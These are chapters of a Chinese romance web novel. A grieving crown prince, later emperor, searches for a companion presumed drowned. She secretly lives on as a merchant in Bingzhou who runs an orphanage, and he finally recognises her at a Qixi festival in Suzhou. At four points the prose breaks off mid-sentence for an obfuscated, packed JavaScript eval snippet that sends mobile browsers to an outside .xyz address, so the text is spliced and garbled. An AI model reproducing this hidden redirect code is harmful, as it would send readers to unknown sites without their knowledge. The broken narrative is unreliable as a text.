寒风凛冽，雪色灼目，视线触及一角凸起的雪丘，李稷不可避免地忆起了常宁掀下兜帽时冻得苍白的脸庞，定定望向雪丘一侧。 仿佛下一瞬，那个白着脸冲他笑的常宁，还会依依不舍地从雪原后绕出来。这次，不是来送别，而是来迎接。常宁会伸出掌心讨回平安符，捏着在手心里晃荡，弯眼看着，含笑问他讨赏。 而他这次，不会同常宁置气，亦不会拂得常宁一趄趔。 李稷闭眸，握拳抵在唇侧。一线鲜红沿着唇角滑落，晕红乌靴前的一片雪地。 “殿下！”刘总管低呼一声，远处的暗卫也不动神色往近处聚敛了些，“若是痛，您就泄出来吧！” “孤不痛！”李稷恨声，踩着厚厚的雪层，一步步往冻成一弯银丝带的大江边去，“是他负了孤！此定为脱身之计，他必定谋划良久。孤决不允许他如此践踏孤，欺瞒孤。孤要揪他出来，审讯他，逼问他！哪怕是腐尸一具，也休想好过！” 刘总管不忍直视，垂眸忍着泪意。常宁遇险，刘总管也痛心。如今眼看太子殿下为此神思恍惚，已奔袭至江岸，举起巨剑锵锵凿冰，直将那近一尺厚的江面劈凿出个冰洞来，忙上前劝道：“殿下，殿下，您静一静！” 抬起的腿，被刘总管抱住。李稷当地一声扔掉巨剑，仰面直视阴沉沉的天空。 巨剑落地，冰屑和水珠溅在李稷手背上，冰凉刺骨。 常宁尚未好全，又经一番激战，远离父母亲人，一个人困在江心孤舟上，堕江时，江水比这冷上百倍吧。 思量间，足尖已离冰水寸步之遥。 刘总管紧紧抱着，口中呼道：“殿下，下游，下游！” 是了，水往低处流，常宁怎会在此？ “备马，回京。” 刘总管哀声劝道：“您还伤着，如何骑得了马？若是有个意外，常公子看着……不知多伤心。”他撇过脸。 “是么？”李稷呢喃。常宁死前惦念着他，困在冰冷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094767|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江水中，还要接着为他担忧么？ 不，常宁没死。 “备马，回京。” 即使是真的……他也不能留常宁一个人在江水中漂泊。 …… 常宁方才从江中出来，不宜赶路，在这片芦苇荡中暂做休整。 要往并州去，就得北上，不能再南下了。如今北方有二皇子作乱，小股乱军落草为寇，不少人遇了难，常宁要补路引倒也方便。 只是…… 常宁望了望铜镜中的脸。肌肤白里透红，桃花眸流光连连，芙蓉如面，秋水为神，长发只用一根白玉簪挽在脑后，令人见之忘俗。这张脸，她看了十七年，从中既能寻到英国公的影子，又能找到姜夫人的神韵，倒叫常宁一时舍不得掩藏，恨不得日日看才好。 再说，她生得这么好，藏起来岂不可惜？ 而余有庆的索引上，则是“肤白，发浅，眼角痣如米粒大小，色若胭脂”，再就是身高体长，原就是比着常宁来写的，本也无需过多隐藏。 但常宁却不敢就这么明明白白走出去。 “唉。” 张侍玉屈指叩窗棂，脸庞从半开的缝隙中露出，“一会儿就叹了四次气，没出过远门？” 他提着只食盒，未走近，便有丝丝缕缕的香气飘来，勾得人食指大动。 常宁忙点头，“是啊，我这怕人认出我，那可就不美了。人家要是以身相许，我可怎么办？” 张侍玉笑笑，“可要我帮你？” “求之不得。”常宁正要起身，又被翻窗而入的张侍玉按在铜镜前，拿起桌上的眉黛与各色脂粉施在常宁面上。 这滋味却是不错的，酥酥麻麻，舒服熨帖。不多时，常宁睁大眸子，“这是我？” 像她，又不像她。一眼看去平平无奇，只是白皙了些。细看，却越看越移不开眼。 “手艺真不错。” 张侍玉道：“往后教你，我爹娘都会。只是要记得，不能过水。” 常宁生出几许期待，“总算有些盼头了。” “你不想他吗？” 常宁扑哧笑了，“想什么想？我平时也没有一定要和他待在一处，没什么不一样的。再说，你难道会想念一个处处同你作对的人么？” 张侍玉按上腰间长剑，眸子中闪过寒芒，“我的剑会。” 不等常宁发问，他便道：“近来渐渐太平，太子也要回京师，但沿江处，英国公府依旧在打捞尸身。往南去，各处名城要隘都在戒严。往北亦是如此，只是略松些。” 常宁蹙眉：“那我们如何走？” 她之所以暂时留在这里，一是怕贸然上路感染风寒，二是张侍玉。她一直记得，张侍玉要解决掉最后一个仇人，从此才能收剑，也才能安心上路， “这有何难？”似是没想到常宁还有这一问，张侍玉笑笑，“关隘岂会处处都有？纵关隘多了些，也不能严丝合缝地守着边界。我们不入城，不走关隘，虽艰苦，也能到并州。” 常宁行至窗边，最后望一眼茫茫雪色中的芦苇荡，又凝望着京城的方向。 此去一别，不知再见爹娘，又要到何时。 拢上大氅，掩盖了生活过的痕迹，常宁发出一声几不可闻的叹息，复而轻摇头，侧眸笑道：“走吧。” 77. 坚持！ 宫城一片肃静。 近来庆和帝愈发喜静，不许宫侍发出任何喧哗声。 养心殿内，明黄色帷幔轻垂，盘龙纹飞绣其中，却掩不住浓重的死气。 修道日久，庆和帝已经习惯性盘坐在龙床上，纵使如今连坐卧行止都十分耗费心力，也还是竭力维系着出尘脱俗的风范。 他未曾言语，只是一挥手，柳大监便恭谨地弯着腰，将手中一卷圣旨送入李稷手中，“殿下，接旨吧。” 这道旨意，便决定着皇位的去留。 庆和帝艰难抬起眼皮，瞧见李稷重重脂粉下难掩的疲态，“你这幅模样，比之朕尚且不及。” 一想到此子近日在京中闹出的动静，沉沉冷怒便涌上庆和帝心头。 为了一个死人，遭言官弹劾，围着涛涛大江闹出诸多事宜，搅得市井里风言尽起。他究竟知不知道，他是谁？ “怨朕？” 若非时日无多，庆和帝有得是法子让他二人离心，何必用这最粗劣愚笨的方法。 李稷不答，只慢声道：“儿臣要处死贵妃娘娘和二弟。” 庆和帝淡笑，“随你。你母亲呢？” 在他原先的决议里，老二虽谋逆，但毕竟是亲子，又受了刻意挑拨，贬为庶人终身幽禁，仍保其衣食无忧即可。 李稷道：“母后待父皇情深意厚，自然要为父皇守陵。” 此子的心狠以及不顾声名，确然超乎庆和帝所有的子嗣。但这恰合了庆和帝的心意，此刻，便连终日昏沉的龙体似也有了一瞬清明，“封你三弟到交趾？这般远。” 同皇陵一南一北，千里迢迢，无诏不得入京，恐怕此生不复相见。 “稷儿，”庆和帝很少这样温和慈祥地唤李稷，“朕私库里，钱财不知凡几，你要用便取，不必受制于人。那些蠹虫，切记早日料理，万不可因他们与你那小伴读家中一样经营商贾而心软。” 他絮絮叨叨说了很久，也愈发无条理。李稷静静听着，直到庆和帝再没有畅言的心力。 “国师，贵妃引荐的，朕甚是欢喜，要他陪葬，到地府共觅长生之道。” 隔着帷幔，望着李稷年轻的身形，庆和帝很轻地笑了下，“你不要信这些，有朕信就够了。” 他开始诉说巫道的可恶，怒斥对他们的痛恨，唇边始终含着一缕笑意。 李稷却恍惚出神。 这些话，曾经也有人同他讲过，但更温和，也更让他眷恋。每每念常宁至于疯魔，要动那招魂的念头时，心头便又浮起常宁的模样，以及常宁半开玩笑影射巫道的音容笑貌。 文武官员肃穆地静立在养心殿丹樨下，听到殿内传来悲怆的唱和声、压抑的呜咽声，古朴厚重的金钟也被敲响，俱都撩袍伏拜于地，渐渐放声痛哭起来。 风雪里，禁庭内拆下了美轮美奂金碧辉煌之物，道道素麻妆点上了宫城。由宫城至外，商贩铺肆俱都闭门，百姓面上亦无笑意，裁了白麻，收了年物，凡荤腥油腻尽皆收起，食素斋，推喜事。 必是个惨淡寂静的年关。 …… 不堪回首的往事，却都与常宁无关了。 自从与张侍玉一同抵达并州，一路上所见所闻，确然出乎常宁所料，胸中郁气块块消散。 初到并州时，常宁还试着做个与严先生一般的师长。只可惜，愿意为女孩请西席的，多是富贵殷实人家，且大多只想请声名在外的贤良女子来教导女则、女红、乐舞等。常宁虽琴抚得不错，却不喜欢教琴的。 何况诗书射御，常宁自认比之其余先生不差，再难找出一个如她这般无短板的先生来了，却还是门前遇冷。 张侍玉也不懂。 二人便拨了本金，开办私塾，束脩较之他处低上半成不止，可学子们，不论男女老少，都不大愿意来的，连聘来的先生都颇有微词。 不出两个月， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097548|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人赔完了本金，虽有大把余钱，却知道不能接着砸了的。常宁更是黯然，她长这么大，自幼就跟着娘亲耳濡目染，还从没赔得这样血本无归过。 “侍玉。”常宁叹息。 张侍玉正领着人往院子里进，听到这一声长叹，便就绕过来，“怎么了？” 常宁望望天，托腮道：“我还是做回老本行，经商好了。” 如今百姓生计维艰，进了私塾，还耽误做工、干农活，性命都保不住，如何有心思念书？ 张侍玉道：“银子可够用？” “自然，”常宁低落的情绪上扬几分，“家中还有许多。” 她从前在京城时，还在银号里存了不少金银，取者对得上暗号，便能取走部分。这些年，常宁时不时就会将暗号透给有缘人，但最清楚所有暗号的，还要数常宁。 若非必要，常宁不打算动银号里的银子。 张侍玉颔首，示意人将箱笼挪至这边。 金玉珠宝交相辉映，昂贵的首饰委屈地堆在箱笼中，挤挤挨挨，常宁眼前被晃得一闪，立掌在额下挡了挡，“你这是……劫到金山银山了？” “买来的。” 张侍玉捞起一支花钗，赤金明丽，朱色宝石水一样流光溢彩，秾丽的色泽，不知是人来妆点宝钗还是宝钗来妆点人，佩在常宁发上，却是两相辉映了。 常宁在烛光旁，素服木簪，难掩明肌雪色。她在京城时，所用无不是最好。如今在并州，虽比不得京城，但张侍玉也不打算委屈常宁。 “我不要。”常宁摆摆手，“还没赚上呢，先把银子花光了。” “用我的。” “你要报恩？先前从皇觉寺带回来的药，百金即可。你若要报恩，赠我百金就好。” 张侍玉握剑，抬手示意人将箱笼重新抬下去，“我没有百金。我跟着你，你开工钱。” 常宁笑笑，并不戳穿，“共勉。” 78. 坚持！ 嘉明四年，并州三川城，一片繁荣气派。 三川城是并州府城，在大魏西部偏北方向，但离京都并不算太远，通往西域的商道从三川城经过，让三川城愈加繁荣昌盛。 夜间的三川城，更是别有一番风味。穿城而过的淄水曲曲折折绕过城中人家，小桥流水，两岸杨柳依依，各色灯笼高悬，在淄水中映出粼粼波光，成了行人眼中的星星点点。 和昌楼内，明烛泣泪，胡姬发髻如云，腕骨雪白伶仃，手中朱漆羊皮鼓击出悦耳的乐音,额前水滴宝石晃出动人的弧度。 林长庚手持铜柄，拨了拨瑞兽香炉中袅袅云烟，清雅香味飘满整间雅室。 “余娘子，林某这桩香料生意，你考虑得如何？” 对面女子不过二十上下，肌肤比对面翩然起舞的胡姬还要雪白几分，琥珀色眼眸宝石一般透亮明丽，桃花眸含笑，朱唇轻扬，温然的模样，举手投足之间却又十分淡定，对着富甲一方的林长庚，也不见怯弱谄媚。 “林公，你的香料一向妥帖，不但质量上佳、品类齐全，供货也较之别家稳定。” 林长庚笑着垂首，啜饮盏中龙井。点了他家的好，就不知是欲抑先扬，还是来现诚意的了。 “……若能去掉罂粟，便再好不过了。” 林长庚失笑，微摇着头，“余娘子有所不知，此物最难得，要价甚高，利润也丰厚。但卖，量却不足，我是卖不出去的。莫看这几车香料药材林林总总数千斤，可都是沾了此物的光。你若不要它，这桩生意林某就要另寻旁人了。” 他虽口称是一桩生意，可在内的人都心知肚明，这桩若成了，往后便能长期交接。 常宁笑笑，“那就不耽误林公了。” 她本能地不喜罂粟，也不喜林家的处事风范。前年常宁和张侍玉经商颇有起色时，就同林家谈过一笔药材生意，其中便有这味罂粟。掌管这件事的管事和伙计，从上到下，没多久便形销骨立、精神萎靡，家财也不知散去多少。细察方知，林家伙计或诱惑或悄悄放罂粟给他们食用，迫他们不得不花重金到林家求购此物。 这些年来，凡能替代的，常宁和张侍玉都不会同林家来往。若非这次是林长庚亲自来谈，常宁甚至都不会来走这一遭。 “我家东家拨冗前来，余娘子若无意，直言相拒就是，何苦让我家东家空欢喜一场，为此已一夜不曾合眼……” “住口，”林长庚喝退管家的话，儒雅的面上挂着歉意的笑，“余娘子莫放在心上，他老糊涂了。买卖不成情意在，切莫误了两府的往来，日后林某再邀余娘子过府一叙。告辞。” 张侍玉着箭袖，抱着剑，于人走后轻嗤一声，“老狐狸又做什么？” 胡姬们轻盈地退下了。 常宁也笑，拿起一串犹带水珠的紫葡萄递给张侍玉，耸眉道：“谁知道呢，不让我给他做儿媳妇就行。” 他们在并州行商，林长庚看他们老大不顺眼，处处使绊子。后来得知余记大半身家都归常宁，竟然动了做媒的心思，要常宁带着余记嫁给他小儿子。遭拒后，还编排起常宁的绯闻来。 管事敲门进来，“大东家，二东家，济幼堂容管事来了。” “快请进来。” 容殷人至中年，乌发一丝不苟梳在脑后，最是严厉不过的性子，却也最细致妥帖，处事果决周密，“东家，这是济幼堂上月的开支，只三川城一处，就较前月多出一百三十五两银子。” 如今银贵，二两银便够一人一年的嚼用，更别提一群半人高的小孩。这般算来，再加上其余城市中的济幼堂，每月便是数百两银子。一年下来，可不在少数。 尽管来过许多次，容殷还是不自觉攥紧了袖中的拳，“不如再缩减些开支。不过一群没爹没娘的孩子，哪里用得着念什么书，养得活便好。到了年岁，赶出去自个讨生活。” 常宁笑吟吟截了话头，“容姑姑，你没回都这样说，侍玉都会背了。只是教他们识得几个字，算不了什么。你若不自在，就对他们多提提我和侍玉，可别我们去了都不识得，那我们可要伤心。今日谈了桩大生意，我已命人采买了蔬果猪肉，等会儿还要你早些回去招呼着。你那边可有什么困难？” 容殷微微摇头，“并无。” 常宁和张侍玉对视一眼，“你不说，我们自己去看。” 容殷笑道：“那孩子们怕是高兴得睡不着。” 心下却有些忐忑。济幼堂里，多是些因家里养不起而被丢弃的小孩，事都不记得的年纪，又以女孩和生来有疾的孩子居多。这两年总有爹娘看着孩子能烧火做饭、下地种田就要将人带走的，甚至还告到了官府。幸而有东家在，这才没受大灾。近来容殷将各城收留的孤儿互换城市，这类事虽少了许多，但依旧没有断过。 思来想去，容殷肃面，真心道：“东家也要早为自己打算。” 常宁听了，靠在椅背上，懒散挥手，“我知的。” 容殷便知道，这是没放在心上。再想劝，却也劝不出口了。罢了，往后她再多留意些。 常宁与张侍玉出门，抬臂挡了挡刺目的日光，身旁便有一人从仆从缝隙中挤入，殷勤地撑起青罗伞。 小林公子俊秀面容微红，羞答答闷声道：“娘子，日头大。” 张侍玉无比自然地接过伞柄，举得更高更稳，宛如看待乖巧懂事的小辈，笑道：“不劳费心，告辞。” 心心念念的人影渐渐远了，依旧是连个眸光都未曾落在自己身上。可余娘子不开口，对他视若无睹，他就听不到拒绝的话语。小林公子抬袖虚擦额汗，喊道：“我只比你小两岁！” 常宁也听到了，转眸瞪张侍玉一眼，“你逗他做什么？待他心灰意冷，自然就不会再来了。” 张侍玉无奈：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100020|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他日日来眼前晃，晃得我头晕。” 常宁听罢，微微吐出一口浊气。林长庚心脏得很，当年杜撰了常宁的绯闻，没曾想被儿子拆了台。三年来，小林公子有空就来偶遇常宁，任常宁如何也赶不走，已经叫林长庚和夫人十分不满。 …… 宫道上，几个宫女手捧漆盒，耳语着往远处走去。 笑语声越过飘扬的帷幔，传入八角亭中，御案前的人顿住笔尖，微皱了眉。 刘总管已经擢升为御前内监，见状就要命小太监去呵退宫女们，忽见李稷抬了手，问道：“她们做什么？” “互看巧果。” 纵然刘总管有意说的含糊，李稷还是叹息一声。 “又是一年。” 近七夕了。常宁的生辰，就在这日。 过了这天，常宁便有二十一岁了。原来，已是三载有余。 这些年，不止是英国公夫妇不敢为常宁立牌位，李稷也从不祭奠常宁，总觉得是种不祥征兆。 他总是怀着不切实际的念想，想着常宁还活着，只是遇上了困难，一时回不到他身边。可李稷也知，按着他和英国公夫妇寻常宁的力度，若人还活着，绝不会三年多都杳无音讯。 除非，常宁不愿意回来。 “可备全了？”李稷嗓音愈发清冷寒凉。 刘总管道：“全了，同往年一样，备了双份。” 一份给常公子，一份给陛下。俗礼，若要为亡人送东西，须得记上人的生辰八字以及名姓。陛下寻不到常公子尸身，即使心灰意冷，清楚凶多吉少，却总抱着一丝希望，不肯立牌位大肆祭奠，唯恐咒到常公子。 可陛下又怕常公子真的遭逢不幸，因无亲人祭奠，在地下受苦，每每都要再备一份祭品，将自己的生辰八字一并记上。 李稷淡淡嗯了一声，收回眸光，提笔继续批阅奏折，高大的背影显出几分清癯来，不带一丝人味。 刘总管看着，鼻尖一酸。 陛下夜里总失眠，白日又一刻不停地处理政务、召见大臣，分明是忧愁难以排遣。犹记得最初那一整年，每每陛下醒来，总是心神恍惚，喃喃着常公子夜里来唤他走。 近些年陛下几乎将所有时间都用在政务上，处理贪官污吏、世家大族，统筹着打服了羌人，使得大魏政治数十年未有的清明，即便因迟迟不立后妃而遭朝臣催促，也从未松口。 分明还是放不下常公子。 夏风穿过湖面，裹挟清凉的水汽扑面而来。李稷搁笔，从怀中摸出针脚粗劣的荷包，从中抽出个碧玉色荷包来。那荷包精致，却又磨破了几处，显然是主人时常摩挲。 撑开荷包口，眷恋不舍地看一眼朱红的平安符，李稷眼前蓦然又浮现出常宁的音容笑貌。 碧玉的色泽，翻腾的祥云，让李稷想起大海、天空，忆起常宁时常挂在口中的永州和江南。 79. 坚持！ “砰——” 茶盏重重叩在桌上，余家会客的厅堂里，常宁和张侍玉同几位心腹相聚一处。 往交趾运西番瓜，说得好听些，是为朝廷办事。可西番瓜如今只有并州往西北走上百余里才有，炎炎夏日，并州储冰又不多。从此处到交趾，少说千余里，不仅要在短时间内赶到，还要保证瓜无破损、无腐坏。 这就意味着要带上比上面交代下来的多得多的西番瓜，成本不可谓不大。办好了无甚稀奇，只怕往后要被揪着一直做这桩赔大本的生意。办坏了，却又不是小事。 成叔咬牙低吼道：“林老贼无耻！” “不若我们推了？” “哪里敢推？没看林老贼也要好生找个理由转给咱们家。” “咱也转就是了。” “他无耻，咱也无耻？” “总不能眼睁睁看着白花花的银子没了吧！倘吃了怪罪，那才叫痛！” 众人吵着，常宁静看着。堂里堂外还站着几个十余岁的少年人，没见过这阵仗，见往日里最稳重的成叔也破口大骂，方才意识到此事的严重性，眸中掠过忧色，忐忑不安。 这些半大少年都是从济幼堂出来的，或是品行过人，或是有一技傍身，聪慧机敏，还是头一次遇到这样的抉择。 哪怕这抉择不是他们来做，受到的冲击也不可谓不小。 至此，常宁便知，哪怕是冲着这群眼巴巴看着的半大少年，这桩赔本买卖，也是必做不可的。 林长庚用小林公子不肯议亲而绝食为理由请常宁到林府，林夫人又哀戚着再三上门，常宁只好过府一看。未曾想没见到被幽禁的小林公子，反而遇上了到林府督办官差的小吏。那小吏受了贿赂，推杯换盏间，就与林长庚打完了配合，将运送西番瓜的差事转到常宁手上。 宴至一半，林长庚还停下悄悄问询常宁，若同意了前天的罂粟生意，他便就此打住，另寻旁人交付官差。 常宁嗓音清澈，但极镇定有力，“旁人我们管不着，只我们余记，绝不可碰罂粟。” 堂内一静。众人也都信服常宁，只是忍不住道：“东家，我们挣再多银子，也禁不住这样稳赔不赚的！” 常宁笑笑。明知躲不过，与其去想怎么躲得更快更好，常宁更想做些别的，“福祸相依，此既是危，也是机。我曾听说，江浙的丝绸不过二两银子一匹，经海上运到番国，能翻十倍不止，且供不应求。黔地的皇木、滇地的花露，还有梵净、云台等山的药材、奇石，都是不可多得的珍品，在当地或许不显，出了各自地界，却都是很不错的。” “我们的商队只有从西域到京都的。南北之间，林深谷险，寇贼关隘众多，极难开辟商道。如今好歹是为官家办差，一般盗匪不敢侵扰，不若一次多去些人，带上并州和西域的珍品，探路也好，行商也罢，总不至于一无所获。若能成，日后也不失为一桩肥差。” 成叔头一个应道：“东家说的是。这桩事，我来干。” “我来！” “我也来！” “待我们决出个高下，再来报东家。” 常宁便颔首，不多时送了客，和张侍玉一起信步散心。 方进济幼堂，几个好动的孩子正两两晃着水桶，泼水冲洗青石地面。两个瘦小的女孩绕过照壁，猝不及防撞在常宁腿上，常宁稳稳接过水桶，“早过了午时，怎么不睡？” 两个女孩子摇摇头，“不困。”复又仰眸期许地望着常宁，“娘子，我们这样，能挣到银子么？” “差一些，但已经很不错了，”她们还没常宁腰高，只略比水桶高出半个身子。常宁笑笑，半蹲下身为她们理了理衣衫，迎着两人微红的面颊，问，“怎么打的水？要当心跌进井里。” 院里的小孩们早就围了过来，张大嘴巴要惊呼，被张侍玉止住了，“嘘，容姑姑要来。”便往里走。 井边几个年龄稍大的孩子正捧书四散坐着，身旁十来个水桶，早已打好了井水放着。天气炎热，众人执了书卷，不时撩水，低声笑语。 他们已经晓事了，见了常宁和张侍玉，并不惊呼，礼貌地见过礼，便紧张地望来。 常宁又和他们说了会儿话，无外乎鼓励劝勉云云，“若有困难，找容姑姑。容姑姑解决不了，来寻我。” 绿树成荫，济幼堂极大，常宁二人转了一会儿，估摸着快到进学做工的时辰，便往回走。行至井边，打水的孩童们已经不见了，只浓密的葡萄藤下有个小人捧书看。 直到常宁走近，小人也没发觉。怕惊到她，常宁在一旁静看着。远处传来梆子声，午间小憩的孩童们醒来，声音嘈嘈切切飘到这边。 那小人便收书，眼睛却还黏在书上，余光瞥见常宁，睁大眸子，“许荇问娘子安。” 常宁笑道：“小阿荇，你不累么？”语罢，又指向许荇手中的书卷，“可有不懂的地方？” 许荇摇摇头，“不累。容姑姑说，公主殿下要招小医女。箐姐姐有心疾，周哥哥有喘疾，大夫都说难治。我到京城，学成后再回来。” 常宁听着，“陛下也设了女医官，能进太医署，不想去那里吗？” 许荇道：“娘子救了我，我也只认得这里的兄弟姊妹。除了这里，我哪儿都不去。” “怎样做都好，只要是你想做的就行，”常宁接过书卷，就着许荇指的不明之处一一解惑，惊讶于许荇的勤勉。她还不及那些提水桶的孩童高，正是年幼贪玩的时候，济幼堂每日又要带他们一起做简单的活计，许荇却识得这许多字，问答间又是将书反复看过许多遍的模样。 许荇听得入迷，“娘子，你真厉害，懂得这样多。我日后再有不明白的，能找娘子吗？” “苦学来的，”常宁屈指轻刮许荇鼻尖，相对笑道，“自然能来找我，但不能耽误了容姑姑派给你的事。” 许荇又捉住常宁一片衣角，乌黑眼眸盛满不解，“宋嬷嬷说，小丫头片子要洒扫浆洗，念书出游是哥儿才能做的，劝我不要再看医书。娘子，我不明白，公主殿下要招的就是小医女，不招小医男，为什么嬷嬷要这样说？” “哪个宋嬷嬷？莫听她的，”常宁含笑垂眸，遮住眸中冷光，“洒扫浆洗、念书出游做工，这些都是你们自己的事。各做好了各的，济幼堂才能立起来。若连自己那一份都不做，便不是济幼堂的一份子，早晚要逐出门去。何况小阿荇你医书念得比旁人都好，可见宋嬷嬷也是睁眼说瞎话。你要自己看、自己想。” 许荇笑起来，同常宁二人道别，小小的人抱着书卷往回跑，准备去做济幼堂下午的活计。 这个时间，是要一起到外面挖药材。 张侍玉道：“我去查清楚，交给容姑姑处置。” 常宁颔首，“辛苦了。” 济幼堂建立伊始，常宁就同容姑姑提过这件事。初时，人还好筛选，后来众人皆知济幼堂募人的规矩，明面上便极少表露出来。但孩童纯稚，若私下里在孩童面前提及，带歪了人，也是麻烦事。 常宁只是想尽力帮一帮这些孩子，若连一群孩童都要分出三六九等，反倒没意思。 回府，府上众人也商讨出了运送西番瓜的人选，只等常宁回来拍板钉钉。 “侍玉，我预备转道江南，你可要去？” “你想爹娘了？” 常宁轻轻嗯了一声，负手而立，目露忧思。 她只到过江南一次。当时她与爹娘沿江而下，爹娘抚琴吹箫，常宁在甲板上张望。江面风大，娘亲还给常宁系了披帛的缨带。江水碧，天清云淡，鱼儿腾跃，白鸟掠过水面，两岸青山沉璧，不知春深几许。 惊鸿一瞥，此后再未去过。 姜夫人还说，等常宁加冠，就带常宁到江南小住。如今常宁早已过了加冠的年纪，却不能和爹娘一起去了。 但常宁清楚，她二十岁生辰时，爹娘必定在江南，只不知住上了多久，又去过哪些地方？ 若她今年生辰过去，纵然见不到爹娘，可只要能与爹娘同游一地，哪怕隔了一年，常宁也心满意足。 张侍玉道：“那就去。听说那边绣娘绣技绝佳，若能请过来，或是学得一二分真传，总是好的。” …… 随商队走了一程，常宁和张侍玉就转道往江南去。先前应了许荇寻她解惑的事，这次出行，常宁索性从容姑姑那里带了许荇出来。 紧赶慢赶，到苏州时，恰赶上七夕，正是常宁生辰。 一行人聚在清雅别致的江南小院中用过晚膳。常宁用了长寿面，收下众人的祝福和贺礼，又祭拜了月神，牵着许荇到外面游览 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原来余娘子也见不到娘亲呀。 来来往往的行人侧目而视。小林公子本是混迹在人群中的，不敢贸然出现唐突了人，忽听到余娘子的嗓音，悲悲戚戚的，忙不迭拨开人群挤出来，“娘子，我来了！” …… 茶楼内，李稷临窗而坐。月华如水，洒落在红木高桌上，为桌上那盏美轮美奂的琉璃芙蕖灯镀上一层柔和的清辉，美得不似凡物。 刘总管也换了身便服，白净面皮沁出点点虚汗，顺着李稷目光遥遥望去。 河面花灯无数，两岸灯火葳蕤，贩夫走卒、少年男女挤挤攘攘，也有父母牵着小孩在街上看杂耍。 依稀柳影下，迎风立着个风姿绰约的姑娘，着梅青留仙裙，帷帽飘逸悠长的纱幔遮住大半身形，虽看不清容貌，可单从背影就能看出必定是个美人。 今夜人流如织，再美的人，置身人群之中，也见不得多显眼。偏偏李稷眸光直直盯着，从人出现开始，就没错开过。 刘总管面色如常，心下却苦涩，不知该喜还是忧。常公子生辰，陛下却中意上了旁的姑娘，刘总管蓦地有些哀伤。 但他不会多说什么，只哀戚一瞬，依旧紧紧关注着李稷的变化，也观察着对面的姑娘。她旁边的女孩不过稚龄，同她亲近无比，是侄儿、妹妹，抑或是女儿？ 清风微动，那稚童撩起雪纱一角，露出一张刘总管毕生难忘的脸庞。 细看，却又不甚相像。何况常公子是男子，那姑娘却是个女子，怎会是同一人？想是他老眼昏花了罢。 李稷目不转睛，紧攥的双拳上，青筋浮起，眸中意味晦涩难明。 “是他。” 不，是她。 或许他该震声大笑，而事实却是，李稷数次张唇，都没能发出半个音节。是喜是怒？是怨是恨？没人说得清。 但他绝不会再放过她。 刘总管心道荒谬，不过是张三四分相似的脸，陛下盯着看再久，也不能变作常公子呐！ 刺啦一声，椅子腿擦过地面，刘总管下意识跟着站起来的李稷转身，却在回眸的一瞬间，看到那稚童唇形清晰地叫着“娘亲”。 80. 坚持！ 常宁并不想在此刻见到小林公子。 所幸她戴着帷帽，于是挺直了脊梁，淡淡嗯了一声，“你来做什么？” 小林公子着月白圆领袍，别有一番清秀书生气，眸光也澄澈，“我，我听到娘子哭声……” “你听错了，”常宁往外看了看，没见着他的护卫奴仆，又见他不如在并州时精细，便知道是私逃出来的，温声道，“我来这边有要事，不便相告。你早日回去，免得你父母忧心。” 余娘子嗓音没那么冷淡了。 小林公子压下雀跃，腮边绯红，正要同余娘子再说上几句话。 风过，留仙裙裙摆飘扬，又被通透洁净的玉佩压下，唯留帷帽雪纱和系在纤腰间的豆绿宫绦在风中飘摇，漾起美丽的弧度。 李稷行至常宁身后，站定，不动声色倾听着两人的对话。雪纱拂在掌心，柔软，酥痒，宛如主人秀发拂过。他翻掌逗弄豆绿宫绦，要握不握，身形笔直，仿佛并不在意两人，眼前只有一抹绿浪。 “娘子，我在这里举目无亲，想同你在一处。” 常宁笑道，“你还是早日回去为妙，我这里没给你留地方。” 腰间总有若有若无的力道，轻柔但不容忽视。常宁皱眉，扶着帽檐回眸，对上一张淡漠的、面目表情的俊脸，霎时怔住。 他着浮光锦制成的玄色金纹袍，高束的进贤冠衬得他愈发高大威严，剑眉星目，不怒自威。那张刀削斧凿的脸上没有任何神情，只一双漆黑的凤眸沉沉盯着常宁。同常宁对视的一瞬间，李稷弯唇扯出个不达眼底的笑。 视线往下，瞧见那只在她宫绦间悠然跃动的手。常宁浑身僵住，再不敢回头，对着小林公子道：“我……” 话未说完，常宁腰间一紧，险些往后一跌。那宫绦分明是轻柔的，于此刻却如束缚一般。常宁深吸口气，“你快回去，我有要事。” 小林公子见她不似作伪，忙上前来接许荇，“娘子你尽管去，我送她归家。” 